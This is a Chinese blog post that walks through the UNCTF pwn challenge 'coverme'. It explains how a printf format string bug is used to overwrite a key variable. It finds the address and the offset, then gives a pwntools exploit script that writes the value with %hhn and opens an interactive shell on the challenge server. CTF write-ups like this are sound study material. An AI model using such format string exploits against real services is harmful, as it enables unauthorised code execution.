UNCTF:coverme(覆盖任意地址内存 )

查询一下文件信息:

开启了NX(栈不可执行)和cannary(栈溢出检测):

 

 

使用IDA PRO查看一下程序流程:

 

 

没有发现栈溢出,但是在printf处有字符串格式化漏洞

分析得到要使用字符串格式化漏洞去修改key的值然后去执行getshell

 

想要覆盖任意地址要满足以下几个条件:

1.要覆盖的地址

2.确定偏移(s是printf的第几个参数或者s在格式字符串中是第几个参数)

 

IDA PRO中查找key对应的地址:0804A030

 

 

寻找偏移

使用[tag]%p%p%p%p%p%p...去寻找偏移

 

计算得到s在格式字符串中是第7参数(printf函数的第8个参数)

 

注意:这里的key值是一个dd类型的数据(双字,4字节),而要比较的是一个8字节,所以要用到覆盖大数字的技巧(参考结尾的链接)

 

EXP

#! /usr/bin/env python
from pwn import *

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr


    /**
    offset 表示要覆盖的地址最初的偏移(格式字符串的第n个参数)
    size 表示机器字长
    addr 表示将要覆盖的地址。
    target 表示我们要覆盖为的目的变量值。
    **/


def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload



def forb():
    #sh = process('./coverme')
    sh=remote('120.79.17.251',10011)
    payload = fmt_str(7, 4, 0x0804A030, 0x5201314)
    #gdb.attach(sh)
    sh.sendline(payload)
    sh.recv()
    sh.interactive()
    
forb()

 

 

参考:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_exploit-zh/(任意地址覆盖->覆盖大数字)

 

posted @ 2020-11-05 23:12  LuoSpider  阅读(299)  评论(0编辑  收藏  举报